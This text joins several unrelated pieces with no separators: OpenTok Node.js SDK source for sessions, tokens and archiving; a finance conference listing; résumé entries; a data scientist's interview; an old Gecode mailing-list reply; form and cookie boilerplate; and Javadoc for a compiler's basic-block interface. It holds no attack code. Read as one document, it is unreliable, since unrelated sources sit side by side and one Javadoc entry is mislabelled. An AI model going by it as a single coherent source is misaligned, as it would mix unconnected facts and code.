/*
* OpenTok server-side SDK
*/
// Dependencies
var net = require('net'),
querystring = require('querystring'),
crypto = require('crypto'),
_ = require('lodash'),
encodeToken = require('opentok-token'),
Client = require('./client'),
Session = require('./session'),
archiving = require('./archiving'),
package = require('../package.json'),
errors = require('./errors');
// Internal Constants
var TOKEN_SENTINEL = "T1==";
/**
* Contains methods for creating OpenTok sessions, generating tokens, and working with archives.
*

* To create a new OpenTok object, call the OpenTok constructor with your OpenTok API key
* and the API secret from the OpenTok dashboard.
* Do not publicly share your API secret. You will use it with the OpenTok constructor
* (only on your web server) to create OpenTok sessions.
*

* Be sure to include the entire OpenTok Node.js SDK on your web server.
*
* @class OpenTok
*
* @param apiKey {String} Your OpenTok API key. (See the
* OpenTok dashboard page.)
* @param apiSecret {String} Your OpenTok API secret. (See the
* OpenTok dashboard page.)
*/
var OpenTok = function(apiKey, apiSecret, env) {
// we're loose about calling this constructor with `new`, we got your back
if (!(this instanceof OpenTok)) return new OpenTok(apiKey, apiSecret, env);
// validate arguments: apiKey := Number|String, apiSecret := String
if (!(_.isNumber(apiKey) || _.isString(apiKey)) || !_.isString(apiSecret)) {
throw new Error('Invalid arguments when initializing OpenTok: apiKey=' + apiKey + ', apiSecret=' + apiSecret);
}
// apiKey argument can be a Number, but we will internally store it as a String
if (_.isNumber(apiKey)) apiKey = apiKey.toString();
this._client = new Client({ apiKey: apiKey, apiSecret: apiSecret });
this.apiKey = apiKey;
this.apiSecret = apiSecret;
// TODO: this is a pretty obvious seam, the integration could be more smooth
var archiveConfig = {
apiEndpoint: 'https://api.opentok.com',
apiKey: apiKey,
apiSecret: apiSecret
};
// env can be either an object with a bunch of DI options, or a simple string for the apiUrl
var clientConfig = {
request: {}
};
if (_.isString(env)) {
clientConfig.apiUrl = env;
archiveConfig.apiEndpoint = env;
} else if (_.isObject(env) && !_.isFunction(env) && !_.isArray(env)) {
if (_.isString(env.apiUrl)) {
clientConfig.apiUrl = env.apiUrl;
archiveConfig.apiEndpoint = env.apiUrl;
}
if (_.isString(env.proxy)) {
clientConfig.request.proxy = env.proxy;
archiveConfig.proxy = env.proxy;
}
}
var config = this._client.config(clientConfig);
this.apiUrl = config.apiUrl;
/**
* Starts archiving an OpenTok session.
*

* Clients must be actively connected to the OpenTok session for you to successfully start
* recording an archive.
*

* You can only record one archive at a time for a given session. You can only record archives
* of sessions that uses the OpenTok Media Router (sessions with the media mode set to routed);
* you cannot archive sessions with the media mode set to relayed.
*
* @param sessionId The session ID of the OpenTok session to archive.
*
* @param options {Object} An optional options object with the following properties (each
* of which is optional):
*

*

*

* name (String) — the name of the archive, which you can use to identify
* the archive. The name is set as a property of the Archive object, and it is a property of
* archive-related events in the OpenTok client libraries.
*

*

* hasAudio (Boolean) — Whether the archive will include an audio track
* (true) or not (false). The default value is true
* (an audio track is included). If you set both hasAudio and
* hasVideo to false, the call to the startArchive()
* method results in an error.
*

*

* hasVideo (Boolean) — Whether the archive will include a video track
* (true) or (not false). The default value is true
* (a video track is included). If you set both hasAudio and
* hasVideo to false, the call to the startArchive()
* method results in an error.
*

*

* outputMode (String) — Whether all streams in the archive are recorded
* to a single file ("composed", the default) or to individual files ("individual").
*

*

*
* For more information on archiving and the archive file formats, see the
* OpenTok archiving
* programming guide.
*
* @param callback {Function} The function to call upon completing the operation. Two arguments
* are passed to the function:
*
*

*
*

* error — An error object (if the call to the method fails).
*

*
*

* archive — The {@link Archive} object. This object includes properties
* defining the archive, including the archive ID.
*

*
*

*
* @method #startArchive
* @memberof OpenTok
*/
this.startArchive = archiving.startArchive.bind(null, archiveConfig);
/**
* Stops an OpenTok archive that is being recorded.
*

* Archives automatically stop recording after 90 minutes or when all clients have disconnected
* from the session being archived.
*
* @param archiveId {String} The archive ID of the archive you want to stop recording.
* @return The {@link Archive} object corresponding to the archive being STOPPED.
*
* @param callback {Function} The function to call upon completing the operation. Two arguments
* are passed to the function:
*
*

*
*

* error — An error object (if the call to the method fails).
*

*
*

* archive — The {@link Archive} object.
*

*
*

*
* @method #stopArchive
* @memberof OpenTok
*/
this.stopArchive = archiving.stopArchive.bind(null, archiveConfig);
/**
* Gets an {@link Archive} object for the given archive ID.
*
* @param archiveId The archive ID.
*
* @return The {@link Archive} object.
*
* @method #getArchive
* @memberof OpenTok
*/
this.getArchive = archiving.getArchive.bind(null, archiveConfig);
/**
* Deletes an OpenTok archive.
*

* You can only delete an archive which has a status of "available" or "uploaded". Deleting an
* archive removes its record from the list of archives. For an "available" archive, it also
* removes the archive file, making it unavailable for download.
*
* @param {String} archiveId The archive ID of the archive you want to delete.
*
* @param callback {Function} The function to call upon completing the operation. On successfully
* deleting the archive, the function is called with no arguments passed in. On failure, an error
* object is passed into the function.
*
* @method #deleteArchive
* @memberof OpenTok
*/
this.deleteArchive = archiving.deleteArchive.bind(null, archiveConfig);
/**
* Retrieves a List of {@link Archive} objects, representing archives that are both
* both completed and in-progress, for your API key.
*
* @param options {Object} An options parameter with two properties:
*
*

*
*

* count — The index offset of the first archive. 0 is offset of the most
* recently started archive. 1 is the offset of the archive that started prior to the most
* recent archive. This limit is 1000 archives.
*

*
*

* offset — The offset for the first archive to list (starting with the
* first archive recorded as offset 0).
*

*
*

*
*
If you don't pass in an options argument, the method returns up to 1000 archives
* starting with the first archive recorded.
*
* @param callback {Function} The function to call upon completing the operation. Two arguments
* are passed to the function:
*
*

*
*

* error — An error object (if the call to the method fails).
*

*
*

* archives — An array of {@link Archive} objects.
*

*
*

*
* @method #listArchives
* @memberof OpenTok
*/
this.listArchives = archiving.listArchives.bind(null, archiveConfig);
};
/**
* Creates a new OpenTok session and returns the session ID, which uniquely identifies
* the session.
*

* For example, when using the OpenTok.js library, use the session ID when calling the
*
* OT.initSession() method (to initialize an OpenTok session).
*

* OpenTok sessions do not expire. However, authentication tokens do expire (see the
* generateToken(String, TokenOptions) method). Also note that sessions cannot
* explicitly be destroyed.
*

* A session ID string can be up to 255 characters long.
*
* You can also create a session using the
* OpenTok REST API
* or the OpenTok dashboard.
*
* @param {Object} options
* This object defines options for the session, including the following properties (both of which
* are optional):
*
*

*
*
location (String) —
* An IP address that the OpenTok servers will use to situate the session in the global
* OpenTok network. If you do not set a location hint, the OpenTok servers will be based on
* the first client connecting to the session.
*

*
*
mediaMode (String) —
* Determines whether the session will transmit streams using the OpenTok Media Router
* ("routed") or not ("relayed"). By default, the setting is
* "relayed".
*

* With the mediaMode parameter set to "relayed", the session
* will attempt to transmit streams directly between clients. If clients cannot connect due to
* firewall restrictions, the session uses the OpenTok TURN server to relay audio-video
* streams.
*

* The
* OpenTok Media Router provides the following benefits:
*
*
archiveMode (String) —
* Whether the session is automatically archived ("always") or not
* ("manual"). By default, the setting is "manual", and you must call the
* StartArchive() method of the OpenTok object to start archiving. To archive the
* session (either automatically or not), you must set the mediaMode parameter to
* "routed".
*
*

*
The OpenTok Media Router can decrease bandwidth usage in multiparty sessions.
* (When the mediaMode parameter is set to "relayed",
* each client must send a separate audio-video stream to each client subscribing to
* it.)

*
The OpenTok Media Router can improve the quality of the user experience through
* audio fallback and video
* recovery. With these features, if a client's connectivity degrades to a degree that
* it does not support video for a stream it's subscribing to, the video is dropped on
* that client (without affecting other clients), and the client receives audio only.
* If the client's connectivity improves, the video returns.

*
The OpenTok Media Router supports the
* archiving
* feature, which lets you record, save, and retrieve OpenTok sessions.

*

*
* @param {Function} callback
* The function that is called when the operation completes. This function is passed two arguments:
*
*

*

* sessionId — On sucess, this parameter is set to the session ID of
* the session. Otherwise it is set to null.
*

*

* error — On failiure, this parameter is set to an error object.
* Check the error message for details.
*

*

*/
OpenTok.prototype.createSession = function(opts, callback) {
var backupOpts, self = this;
if (_.isFunction(opts)) {
// shift arguments if the opts is left out
callback = opts;
opts = {};
} else if (!_.isFunction(callback)) {
// one of the args has to be a function, or we bail
throw new Error('Invalid arguments when calling createSession, must provide a callback');
}
// whitelist the keys allowed
_.pick(_.defaults(opts, { "mediaMode" : "relayed", "archiveMode" : "manual" }),
"mediaMode", "archiveMode", "location");
if ( opts.mediaMode !== "routed" && opts.mediaMode !== "relayed" ) {
opts.mediaMode = "relayed";
}
if ( opts.archiveMode !== "manual" && opts.archiveMode !== "always" ) {
opts.archiveMode = "manual";
}
if ( opts.archiveMode == "always" && opts.mediaMode != "routed" ) {
return process.nextTick(function() {
callback(new Error('A session with always archive mode must also have the routed media mode.'));
});
}
if ( "location" in opts && !net.isIPv4(opts.location) ) {
return process.nextTick(function() {
callback(new Error('Invalid arguments when calling createSession, location must be an ' +
'IPv4 address'));
});
}
// rename mediaMode -> p2p.preference
// store backup for use in constucting Session
backupOpts = _.clone(opts);
// avoid mutating passed in options
opts = _.clone(opts);
var mediaModeToParam = {
routed : 'disabled',
relayed : 'enabled'
};
opts['p2p.preference'] = mediaModeToParam[opts.mediaMode];
delete opts.mediaMode;
this._client.createSession(opts, function(err, json) {
if (err) return callback(new Error('Failed to createSession. '+err));
callback(null, new Session(self, json.sessions.Session.session_id, backupOpts));
});
};
/**
* Creates a token for connecting to an OpenTok session. In order to authenticate a user
* connecting to an OpenTok session, the client passes a token when connecting to the session.
*

* For testing, you can also use the OpenTok
* dashboard page to generate test tokens.
*
* @param sessionId The session ID corresponding to the session to which the user will connect.
*
* @param options An object that defines options for the token (each of which is optional):
*
*

*
role (String) — The role for the token. Each role defines a set of
* permissions granted to the token:
*
*

*
 'subscriber' — A subscriber can only subscribe to streams.

*
*
 'publisher' — A publisher can publish streams, subscribe to
* streams, and signal. (This is the default value if you do not specify a role.)

*
*
 'moderator' — In addition to the privileges granted to a
* publisher, in clients using the OpenTok.js 2.2 library, a moderator can call the
* forceUnpublish() and forceDisconnect() method of the
* Session object.

*

*
*

*
*
expireTime (Number) — The expiration time for the token, in seconds
* since the UNIX epoch. The maximum expiration time is 30 days after the creation time. If
* a fractional number is specified, then it is rounded down to the nearest whole number.
* The default expiration time of 24 hours after the token creation time.
*

*
*
data (String) — A string containing connection metadata describing the
* end-user.For example, you can pass the user ID, name, or other data describing the end-user.
* The length of the string is limited to 1000 characters. This data cannot be updated once it
* is set.
*

*

*
* @return The token string.
*/
OpenTok.prototype.generateToken = function(sessionId, opts) {
var decoded, tokenData, now = Math.round(new Date().getTime() / 1000);
if (!opts) opts = {};
// avoid mutating passed in options
opts = _.clone(opts);
if ( !_.isString(sessionId) ) {
throw new Error('Token cannot be generated without a sessionId parameter');
}
// validate the sessionId belongs to the apiKey of this OpenTok instance
decoded = decodeSessionId(sessionId);
if ( !decoded || decoded.apiKey !== this.apiKey) {
throw new Error('Token cannot be generated unless the session belongs to the API Key');
}
// combine defaults, opts, and whitelisted property names to create tokenData
if (_.isNumber(opts.expireTime) || _.isString(opts.expireTime)) {
// Automatic rounding to help out people who pass in a fractional expireTime
opts.expire_time = Math.round(opts.expireTime);
}
if (opts.data) {
opts.connection_data = opts.data;
}
tokenData = _.pick(_.defaults(opts, {
session_id: sessionId,
create_time: now,
expire_time: now + (60*60*24), // 1 day
nonce: Math.random(),
role: 'publisher'
}), 'session_id', 'create_time', 'nonce', 'role', 'expire_time', 'connection_data');
// validate tokenData
if (!_.contains(['publisher', 'subscriber', 'moderator'], tokenData.role)) {
throw new Error('Invalid role for token generation: ' + tokenData.role);
}
if (!_.isNumber(tokenData.expire_time)) {
throw new Error('Invalid expireTime for token generation: ' + tokenData.expire_time);
}
if (tokenData.expire_time < now) {
throw new Error('Invalid expireTime for token generation, time cannot be in the past: ' +
tokenData.expire_time + ' < ' + now);
}
if (tokenData.connection_data &&
(tokenData.connection_data.length > 1024 || !_.isString(tokenData.connection_data))) {
throw new Error('Invalid data for token generation, must be a string with maximum length 1024');
}
return encodeToken(tokenData, this.apiKey, this.apiSecret);
};
/*
* decodes a sessionId into the metadata that it contains
* @param {string} sessionId
* @returns {?SessionInfo} sessionInfo
*/
function decodeSessionId(sessionId) {
var fields, sessionInfo;
// remove sentinal (e.g. '1_', '2_')
sessionId = sessionId.substring(2);
// replace invalid base64 chars
sessionId = sessionId.replace(/-/g, "+").replace(/_/g, "/");
// base64 decode
sessionId = new Buffer(sessionId, "base64").toString("ascii");
// separate fields
fields = sessionId.split("~");
return {
apiKey: fields[1],
location: fields[2],
create_time: new Date(fields[3])
};
}
/*
* handles the result of a session creation
* @callback OpenTok~createSessionCallback
* @param {?Error} err
* @param {string} sessionId
*/
/*
* handles the result of a REST request
* @callback OpenTok~doRequestCallback
* @param {?Error} err
* @param {string} responseXml
*/
/*
* is interested in an error, can be a super-type of OpenTok~createSessionCallback
* @callback OpenTok~doRequestCallback
* @param {?Error} err
* @param {...*} arguments
*/
/**
* @typedef SessionInfo
* @type {Object}
* @property {string} apiKey The API Key that created the session
* @property {number} location The location hint used when creating the session
* @property {Date] create_time The time at which the session was created
*/
/*
* External Interface
*/
module.exports = OpenTok;
for(var key in errors) {
if(errors.hasOwnProperty(key)) {
OpenTok[key] = errors[key];
}
}


The Lenzerheide Conference
by CEPR Events team| 29 - 01 avr 2020 | Lenzerheide |
2020 Swiss Winter Conference on Financial Intermediation.
This small, informal conference invites presentations of high quality theoretical or empirical research papers on financial intermediation. A list of papers presented in previous editions that made it into top and very good journals can be found here.
Event address
Hotel Schweizerhof
Voa principala 39
CH-7078 Lenzerheide
More information


2016 Jul to 2016 Nov
eBeeCare is a startup company based in Singapore. It provides C2C homecare services that links in-home patients and heathcare service providers. As an part-time backend developer, I worked with my supervisor developing and migrating the former backend system to the new one backed by NodeJS and MongoDB. It was a great learning experience for me as I developed my knowledge in setting up web server and database, writing REST APIs services as well as resolving issues with system migration and integrations
2015 Jan to 2015 Jun
At the IoT team of R&D Department, SAP Singapore, I worked on a Smart Meeting Room project together with another intern friend. Our goal was to leverages on technology such as Arduino sensors, iBeacon and SAP HANA to stream real-time room status data and improve the utilization of office meeting rooms. I developed a web dashboard using SAP OpenUI5 framework as the frontend, and HANA XS engine as the backend tier. Users could view real-time room status, book, cancel or auto-cancel the meeting rooms.
2013 Aug to 2017 May
I came to Singapore in 2011. I was quite lucky to be selected in the SM2 Scholarship program after my second year of high school in Xi'an, China. After 18-month Preparation Course I matriculated as an IS student in NUS, School of Computing. I am proud to be in computing as we get to develop crazy fancy and useful stuff through designing and programming. Looking forward to my Graduation and coding some really cool stuff at work.
2016 Feb to 2016 Jun
This 1 semester exchange program really pushed me out of the comfort zone. Not many folks from Singapore went together with me. Thus being in a completely new environment, I was forced to intiate conversations with new people almost everyday. I took courses in Computer Networks, Information Security, Project Management and Management Information Systems. Besides studies I also tried Canoeing which I couldn't really often do at my undergrad in Singapore.


Chelsea is a data scientist for the City of LA, where she focuses on making data accessible to city employees and the public. She is most passionate about creating effective operational dashboards. She also experiments with tracking and dashboarding in her personal life and leads the Quantified Self LA chapter. Twitter: @pwnerchelsea.
What was the most surprising benefit of being a part of BOW?
Making friends! I've developed some great relationships through the BOW alumni network in Los Angeles.
Could you talk a little bit about what it is like to lay the groundwork to build a business?
Don't waste any time building something people don't want. The groundwork for building a business lies in conversations with (potential) customers and understanding their needs.
Why did you decide to pursue an MS degree and how has it factored into your career?
I developed a love for tracking and databases at the software company I worked at and wanted to learn whatever was important to know. I now actually understand the value of data and how to harness it, and it makes me so much more confident in my career.
Could you talk a little bit about how your summer internships influenced your career path?
The greatest value of my summer internships, frankly, was figuring out things I didn't want to do. That was super helpful.. wouldn't trade 'em for the world.
Do you have any advice for students trying to navigate their interests in consulting and healthcare?
Try it out and see what you like and don't like. I loved working at Epic (at least for a while), which combined both.
What is something interesting you’ve learned along the way?
Time management, email management, task management. It changed my life. This article is one pretty good guide, and I'm working on creating an online course on task management. Sign up here if you might be interested in helping me develop it!
What is your #1 interview tip?
Make a connection with the interviewer. Figure out what you have in common - people care a lot about hiring someone who is enthusiastic and who they want to spend time with, moreso than your skills.


[gecode-users] (no subject)
Christian Schulte
cschulte at kth.se
Wed May 16 10:28:19 CEST 2007
Still, you need to be more detailled. What is clear, you need to follow a
structure where your variables are updated, check the examples that tell you
how to. So, whatever you do, you must inherit from a Space, maintain the
variables you want to use in that space and update your variables through
that space.
Christian
--
Christian Schulte, http://www.imit.kth.se/~schulte/
-----Original Message-----
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
Of Sébastien Mouthuy
Sent: Wednesday, May 16, 2007 8:51 AM
To: Guido Tack
Cc: users at gecode.org
Subject: Re: [gecode-users] (no subject)
Le mercredi 16 mai 2007 à 07:57 +0200, Guido Tack a écrit :
> Hi.
>
> Sébastien Mouthuy wrote:
>
> > I want to create a class with a static function that could post
> > propagators on a SetVar. i.e. something like [...]
> >
> > I tried this but it seems not to work.
>
> What exactly do you mean by "does not work"? Does it crash, or do you
> simply not get the result you expect?
I don't get the result I expected, like variables not updated, somethong
strange...
> What is the context, from where
> do you call "constrainSetVar"?
I want to write a generic CSP with some SetVar (this is easy). But I want an
external user to be able to post constraints on these SetVar (this is the
problem). Thus my generic CSP should be able to call a function (given by
template or parameter) that will post propagators on some SetVar.
I would also need a way to update SetVar when copying. I cannot simply
extends the class defining the generic CSP, because I have several generic
CSP that need to constraint SetVar in the same way (specified by the user).
Thanks in advance,
sebastien
>
> Cheers,
> Guido
>
_______________________________________________
Gecode users mailing list
users at gecode.org https://www.gecode.org/mailman/listinfo/gecode-users
More information about the gecode-users
mailing list


Post your Idea - Step 2/3
Zone
*
Select
{{option.label}}
Category:
Select
{{option.label}}
Save and Proceed
Sample Ideas to help you ...
{{idea.name}}
{{idea.snippet}}


We use cookies to collect information about how you use the Digital Land website to make the website work as well as possible.
You’ve accepted all cookies. You can change your cookie settings at any time.


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
BBlock interface
Interface for basic block class BBlock. Data flow analysis and basic control flow analysis are done based on the graph of basic blocks. All methods other than static ones are a method used for BBlock object ("this" is a BBlock instance). Structure of basic blocks: Input program represented in HIR or LIR is decomposed into basic blocks. Control flow of the program can be represented by a graph of basic blocks connected by predecessor/successor relation. Information of the basic block is represented by an object of BBlock class. A label definition in IR tree shows a link to BBlock object. An HIR statement node or LIR instruction node attached with label indicates the beginning of a new basic block. Contents of a basic block can be treated as a sequence of subtrees which may be either HIR subtree or LIR subtree. Such subtree is called a "top-subtree". The top-subtree of HIR may represent a part of statement or expression where some other part of the statement or expression may be included in different basic blocks. An HIR statement attached with label (LabeledStmt) starts a new basic block. If an HIR expression has label definition, it starts a new basic block. Depth first traversal of HIR tree from left to right represents a sequence of HIR nodes. In this traversal, if an HIR statement node is encountered, it starts a new top-subtree. If a top-subtree is an expression subtree and another expression subtree or statement subtree without label definition succeeds immediately after the top-subtree, then the succeeding subtree is treated as the next top-subtree. The LIR top-subtree represents an LIR instruction. In LIR flow analysis, a basic block is composed of a list of LIR top-subtees (LIR instructions). A label definition in LIR (DefLabel node) starts a new basic block. Data flow analysis are done on the graph of basic blocks and most of data flow information is get via basic blocks. The graph of basic blocks can be get from subprogram symbol. Relation between control flow and data flow: Methods listed here are used after flow analysis to get information or to modify control flow. (There may be many methods private to flow analysis modules other than the methods listed below.) When control flow is changed, data flow information may not be consistent because data flow information is not automatically updated by the control flow modification. In order to make them consistent, it is necessary to do data flow analysis again after a group of control flow modifications are completed.
| Field Summary | |
static int |
HAS_CALL
|
static int |
HAS_JUMP
|
static int |
HAS_PTR_ASSIGN
|
static int |
HAS_STRUCT_UNION
|
static int |
IS_DELETED
|
static int |
IS_ENTRY
|
static int |
IS_EXIT
|
static int |
IS_MODIFIED
|
static int |
IS_RESTRUCTURED
|
static int |
LOOP_HEAD
|
static int |
LOOP_TAIL
|
static int |
UNDER_VISIT
|
static int |
USE_PTR
|
static int |
VISIT_OVER
|
| Method Summary | |
void |
addToPredList(BBlock pPred)
addToPredList addToSuccList Add the basic block pPred/pSucc to the list of predecessors/successors of this basic block, and this block is added to the list of successors/predecessors of pPred/pSucc. |
void |
addToSuccList(BBlock pSucc)
|
void |
allocateSpaceForDataFlowAnalysis(int pPointCount,
int pDefCount,
int pExpCount)
|
BBlockNodeIterator |
bblockNodeIterator()
bblockNodeIterator Create an iterator to traverse all HIR nodes in this basic block. |
BBlockSubtreeIterator |
bblockSubtreeIterator()
bblockSubtreeIterator Create an iterator to traverse all top-subtree in this basic block. |
HIR |
controlTransfer()
If this basic block ends with control transfer statement such as JUMP, RETURN, then this method returns the control transfer statement. |
void |
deleteFromPredList(BBlock pPred)
deleteFromPredList deleteFromSuccList Delete the basic block pPred/pSucc from to the list of predecessors/successors of this basic block, and this block is deleted from the list of successors/predecessors of pPred/pSucc. |
void |
deleteFromSuccList(BBlock pSucc)
|
BBlock |
getAflowBBlock()
|
ExpVector |
getAvailIn()
getAvailIn Get bit vector showing AvailIn set of this block. |
ExpVector |
getAvailOut()
getAvailOut Get bit vector showing AvailOut set of this block. |
int |
getBBlockNumber()
|
int |
getBlockNumber()
getBlockNumber Get the block number attached to this basic block. |
DefVector |
getDef()
getDef Get bit vector showing Def set of this block. |
FlowAnalSymVector |
getDefIn()
getDefIn Get bit vector showing DefIn set of this block. |
FlowAnalSymVector |
getDefined()
getDefined Get bit vector showing Defined set of this block. |
java.util.Set |
getDefNodes()
getDefNodes Get the set of nodes defining a value. |
FlowAnalSymVector |
getDefOut()
getDefOut Get bit vector showing DefOut set of this block. |
java.util.List |
getDominatedChildren()
getDominatedChildren setDominatedChildren Get/set the list of basic blocks immediately dominated by this block. |
ExpVector |
getEGen()
getEGen Get bit vector showing EGen set of this block. |
ExpVector |
getEKill()
getEKill Get bit vector showing EKill set of this block. |
ExpVector |
getEKillAll()
getEKillAll Get bit vector showing EKillAll set of this block. |
FlowAnalSymVector |
getExposed()
getExposed Get bit vector showing Exposed set of this block. |
IR |
getFirstSubtree()
getFirstSubtree Get the first subtree contained in this block. |
boolean |
getFlag(int pFlagNumber)
getFlag setFlag getFlag returns the value (true/false) of the flag indicated by pFlagNumber. |
BBlock |
getImmediateDominator()
getImmediateDominator Get/set a basic block immediately dominating this block. |
BBlock |
getImmediatePostDominator()
getImmediatePostDominator Get a basic block immediately post dominating this block. |
IR |
getIrLink()
getIrLink Get the top-subtree that starts this basic block. |
DefVector |
getKill()
getKill Get bit vector showing Kill set of this block. |
Label |
getLabel()
getLabel Get a label attached to the first top-subtree of this basic block. |
IR |
getLastSubtree()
getLastSubtree Get the last subtree contained in this block. |
FlowAnalSymVector |
getLiveIn()
getLiveIn Get bit vector showing LiveIn set of this block. |
FlowAnalSymVector |
getLiveOut()
getLiveOut Get bit vector showing LiveOut set of this block. |
BBlock |
getNextInDFO()
getNextInDFO Get the next BBlock in depth first order. |
BBlock |
getNextInInverseDFO()
getNextInInverseDFO Get the next BBlock in inverse depth first order from exit BBlock. |
java.util.List |
getPostDominatedChildren()
getPostDominatedChildren setPostDominatedChildren Get/set the list of basic blocks post dominated by this block. |
Edge |
getPredEdge(BBlock pFromBBlock)
getPredEdge Get the edge corresponding to the predecessor/successor to/from this basic block. |
java.util.List |
getPredList()
getPredList Get the predecessor list of this basic block. |
DefVector |
getReach()
getReach Get bit vector showing Reach set of this block. |
SubpFlow |
getSubpFlow()
getUseNodes Get the set of nodes using value of variable or register. |
Edge |
getSuccEdge(BBlock pToBBlock)
getSuccEdge Get the edge corresponding to the predecessor/successor to/from this basic block. |
java.util.List |
getSuccList()
getSuccList Get the successor list of this basic block. |
FlowAnalSymVector |
getUsed()
getUsed Get bit vector showing Used set of this block. |
java.lang.Object |
getWork()
getWork setWork get/set information privately used in each phase. |
java.lang.Object |
getWorkFA()
getWorkFA setWorkFA get/set information privately used in flow analysis. |
boolean |
isAvailIn(ExpId pExpId)
isAvailIn See if the expression represented by pExpId is available (value is always computed) at entry to this block. |
boolean |
isAvailOut(ExpId pExpId)
isAvailOut See if the expression represented by pExpId is available (value is always computed) at exit from this block. |
boolean |
isDef(int pPos)
isDef See if definition at position pPos is done in this block. |
boolean |
isDefIn(Sym pSym)
isDefIn See if pSym is always defined at entry to this block whichever path may be take. |
boolean |
isDefined(Sym pSym)
isDefined See if the value of pSym is defined in this block. |
boolean |
isDefOut(Sym pSym)
isDefOut See if pSym is always defined at exit from this block. |
boolean |
isEGen(ExpId pExpId)
isEGen See if expression designated by pReg is generated (computed in this block and afterwards its operand is not changed) in this block. |
boolean |
isEKill(ExpId pExpId)
isEKill See if expression designated by pReg is killed (its operand is defined) in this block. |
boolean |
isEntryBlock()
isEntryBlock See if this block is the entry block in the graph of basic blocks. |
boolean |
isExitBlock()
isExitBlock See if this block is the exit block in the graph of basic blocks. |
boolean |
isExposed(Sym pSym)
isExposed See if the variable of pSym is used in this block without setting its value in this block. |
boolean |
isKill(int pPos)
isKill See if definition at position pPos is killed in this block. |
boolean |
isLiveIn(Sym pSym)
isLiveIn See if pSym is live at entry to this block (value at entry is used in this block or in some successor of this block). |
boolean |
isLiveOut(Sym pSym)
isLiveOut See if pSym is live at exit from this block (value at exit is used in some successor of this block). |
boolean |
isReach(int pPos)
isReach See if definition at position pPos reaches to the entry point of this block. |
boolean |
isUsed(Sym pSym)
isUsed See if the value of pSym is used in this block. |
void |
linkInDepthFirstOrder(Subp pSubp)
linkInDepthFirstOrder(Subp pSubp) Link basic blocks of subprogram pSubp in depth first order starting from the entry BBlock. |
void |
linkInInverseDepthFirstOrder(Subp pSubp)
linkInInverseDepthFirstOrder(Subp pSubp) Link basic blocks of subprogram pSubp in inverse depth first order starting from the exit BBlock. |
void |
setAflowBBlock(BBlock pBBlock)
|
void |
setDominatedChildren(java.util.LinkedList pDominatedChildren)
|
void |
setFlag(int pFlagNumber,
boolean pYesNo)
|
void |
setImmediateDominator(BBlock pDominator)
|
void |
setImmediatePostDominator(BBlock pPostDominator)
|
void |
setIrLink(LabeledStmt pLabeledStmt)
setIrLink Set HIR statement pLabeledStmt or LIR DefLabel subtree as the first top-subtree that starts this basic block. |
void |
setNextInDFO(BBlock pNext)
setNextInDFO Record the next BBlock in depth first order. |
void |
setNextInInverseDFO(BBlock pNext)
|
void |
setPostDominatedChildren(java.util.LinkedList pPostDominatedChildren)
|
void |
setWork(java.lang.Object pWork)
setWork get/set information privately used in each phase. |
void |
setWorkFA(java.lang.Object pWorkFA)
getWorkFA setWorkFA get/set information privately used in flow analysis. |
java.lang.String |
toStringDetail()
toStringDetail |
java.lang.String |
toStringShort()
toStringShort |
| Field Detail |
public static final int IS_RESTRUCTURED
public static final int IS_MODIFIED
public static final int IS_DELETED
public static final int UNDER_VISIT
public static final int VISIT_OVER
public static final int IS_ENTRY
public static final int IS_EXIT
public static final int LOOP_HEAD
public static final int LOOP_TAIL
public static final int HAS_CALL
public static final int HAS_PTR_ASSIGN
public static final int USE_PTR
public static final int HAS_STRUCT_UNION
public static final int HAS_JUMP
| Method Detail |
public int getBlockNumber()
public IR getIrLink()
public void setIrLink(LabeledStmt pLabeledStmt)
public Label getLabel()
public java.util.List getPredList()
public java.util.List getSuccList()
public Edge getPredEdge(BBlock pFromBBlock)
public Edge getSuccEdge(BBlock pToBBlock)
public boolean isEntryBlock()
public boolean isExitBlock()
public HIR controlTransfer()
public BBlock getImmediateDominator()
public void setImmediateDominator(BBlock pDominator)
public java.util.List getDominatedChildren()
public void setDominatedChildren(java.util.LinkedList pDominatedChildren)
public BBlock getImmediatePostDominator()
public void setImmediatePostDominator(BBlock pPostDominator)
public java.util.List getPostDominatedChildren()
public void setPostDominatedChildren(java.util.LinkedList pPostDominatedChildren)
public void linkInDepthFirstOrder(Subp pSubp)
public void linkInInverseDepthFirstOrder(Subp pSubp)
public BBlock getNextInDFO()
public void setNextInDFO(BBlock pNext)
pNext
- Next BBlock in depth first order.
This method is called in linkInDepthFirstOrder.public BBlock getNextInInverseDFO()
public void setNextInInverseDFO(BBlock pNext)
public java.lang.Object getWork()
public void setWork(java.lang.Object pWork)
public java.lang.Object getWorkFA()
public void setWorkFA(java.lang.Object pWorkFA)
public BBlockSubtreeIterator bblockSubtreeIterator()
public BBlockNodeIterator bblockNodeIterator()
public IR getFirstSubtree()
public IR getLastSubtree()
public java.lang.String toStringShort()
public java.lang.String toStringDetail()
public void addToPredList(BBlock pPred)
pPred
- basic block to be added to the predecessor list
of this basic block.public void addToSuccList(BBlock pSucc)
public void deleteFromPredList(BBlock pPred)
pPred
- basic block to be deleted from the predecessor list
of this basic block.public void deleteFromSuccList(BBlock pSucc)
public boolean getFlag(int pFlagNumber)
pFlagNumber
- flag identification number (see below).public void setFlag(int pFlagNumber, boolean pYesNo)
public void allocateSpaceForDataFlowAnalysis(int pPointCount, int pDefCount, int pExpCount)
public boolean isDef(int pPos)
pPos
- position number attached to the definition node.
public boolean isKill(int pPos)
pPos
- position number attached to the definition node.
public boolean isReach(int pPos)
pPos
- position number attached to the definition node.
public boolean isDefined(Sym pSym)
pSym
- symbol representing a variable or a register
or expression identifier.
public boolean isUsed(Sym pSym)
pSym
- symbol representing a variable or a register
or expression identifier.
public boolean isExposed(Sym pSym)
pSym
- symbol representing a variable or a register
or expression identifier.
public boolean isEGen(ExpId pExpId)
pExpId
- expression identifier assigned to the
expression.
public boolean isEKill(ExpId pExpId)
pExpId
- expression identifier assigned to the
expression.
public boolean isAvailIn(ExpId pExpId)
pExpId
- expression identifier
representing an expression. ()
public boolean isAvailOut(ExpId pExpId)
pExpId
- expression identifier
representing an expression. ()
public boolean isLiveIn(Sym pSym)
pSym
- variable or register or expression identifier
representing an expression.
public boolean isLiveOut(Sym pSym)
pSym
- variable or register or expression identifier
representing an expression.
public boolean isDefIn(Sym pSym)
pSym
- variable or register or expression identifier
representing an expression.
public boolean isDefOut(Sym pSym)
pSym
- variable or register or expression identifier
representing an expression.
public DefVector getDef()
